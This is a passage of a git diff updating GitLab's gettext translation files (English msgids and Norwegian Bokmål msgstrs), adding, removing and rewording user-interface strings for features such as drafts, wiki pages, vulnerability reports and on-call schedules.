msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/nb_NO/gitlab.po b/locale/nb_NO/gitlab.po
index 5432a7763d1..7cb7ceaab88 100644
--- a/locale/nb_NO/gitlab.po
+++ b/locale/nb_NO/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: nb\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:44\n"
+"PO-Revision-Date: 2020-12-03 08:12\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,16 +170,16 @@ msgid_plural "%d days"
msgstr[0] "%d dag"
msgstr[1] "%d dager"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d feil"
msgstr[1] "%d feil"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d exporter"
@@ -351,24 +356,15 @@ msgstr "%{actionText} og %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr "%{address} er et ugyldig IP-adresseområde"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr "%{author_link} skrev:"
msgid "%{authorsName}'s thread"
msgstr "%{authorsName} sin tråd"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} vil legge til \"Av %{link_open}@johnsmith%{link_close}\" til alle saker og kommentarer opprinnelig opprettet av johnsmith@example.com, og vil sette %{link_open}@johnsmith%{link_close} som tildelt for alle saker som opprinnelig ble tildelt til johnsmith@example.com."
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} vil legge til \"Av @johnsm...@example.com\" til alle saker og kommentarer som opprinnelig ble opprettet av johnsmith@example.com. E-postadressen eller brukernavnet er maskert for å sikre brukerens privatliv."
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} vil legge til \"Av%{link_open}johnsmith@example.com%{link_close}\" til alle saker og kommentarer som opprinnelig ble opprettet av johnsmith@example.com. Som standard er e-postadressen eller brukernavnet maskert for å sikre brukerens privatliv. Bruk dette alternativet hvis du vil vise hele e-postadressen."
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -445,6 +441,9 @@ msgstr "%{count} relatert(e) %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr "%{dashboard_path} kunne ikke bli funnet."
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr "%{host} pålogging fra nytt sted"
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr "%{icon}Du er i ferd med å legge til %{usersTag} personer til diskusjonen. De vil alle motta et varsel."
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr "%{integrations_link_start}Integrasjoner%{link_end} lar deg gjøre tredjepartsapplikasjoner til en del av GitLab-arbeidsflyten. Hvis de tilgjengelige integrasjonene ikke tilfredsstiller dine behov, kan du vurdere å bruke en %{webhooks_link_start}webhook%{link_end}."
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} vil bli fjernet! Er du sikker?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr "%{issuesSize} med en grense på %{maxIssueCount}"
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}Klasse:%{labelEnd} %{class}"
@@ -547,9 +552,6 @@ msgstr "%{labelStart}Bevis:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr "%{labelStart}Fil:%{labelEnd} %{file}"
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr "%{labelStart}Toppområder:%{labelEnd} %{headers}"
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}Bilde:%{labelEnd} %{image}"
@@ -565,14 +567,14 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}Skanner:%{labelEnd} %{scanner}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
+msgstr ""
+
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr "%{labelStart}Alvorlighet:%{labelEnd} %{severity}"
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr "%{labelStart}Status:%{labelEnd} %{status}"
-
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
-msgstr "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
+msgstr ""
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} utilgjengelig"
@@ -604,9 +606,6 @@ msgstr "%{link_start}Start tittelen med %{draft_snippet} eller %{wip_snippet}%{l
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}, og %{awardsListLength} til."
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Startet"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr "%{location} mangler nødvendige nøkler: %{keys}"
@@ -707,35 +706,14 @@ msgstr[1] "%{releases} utgivelser"
msgid "%{remaining_approvals} left"
msgstr "%{remaining_approvals} igjen"
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr "%{reportType} %{status} oppdaget %{criticalStart}%{critical} kritiske%{criticalEnd} og %{highStart}%{high} høygrads%{highEnd} alvorlige sårbarheter ut av %{total}."
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr "%{reportType} %{status} oppdaget %{criticalStart}%{critical} kritiske%{criticalEnd} og %{highStart}%{high} høygrads%{highEnd} alvorlige sårbarheter."
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr "%{reportType} %{status} oppdaget %{criticalStart}%{critical} kritisk%{criticalEnd} alvorlige sårbarheter ut av %{total}."
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] "%{reportType} %{status} oppdaget %{criticalStart}%{critical} kritisk%{criticalEnd} severity sårbarhet."
-msgstr[1] "%{reportType} %{status} oppdaget %{criticalStart}%{critical} kritisk%{criticalEnd} alvorlige sårbarheter."
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr "%{reportType} %{status} oppdaget %{highStart}%{high} høygrads%{highEnd} alvorlige sårbarheter ut av %{total}."
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] "%{reportType} %{status} oppdaget %{highStart}%{high} høygrads%{highEnd} alvorlig sårbarhet."
-msgstr[1] "%{reportType} %{status} oppdaget %{highStart}%{high} høygrads%{highEnd} alvorlige sårbarheter."
+msgid "%{reportType} %{status}"
+msgstr ""
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] "%{reportType} %{status} oppdaget %{other} sårbarhet."
-msgstr[1] "%{reportType} %{status} oppdaget %{other} sårbarheter."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
+msgstr ""
-msgid "%{reportType} %{status} detected no vulnerabilities."
-msgstr "%{reportType} %{status} oppdaget ingen sårbarheter."
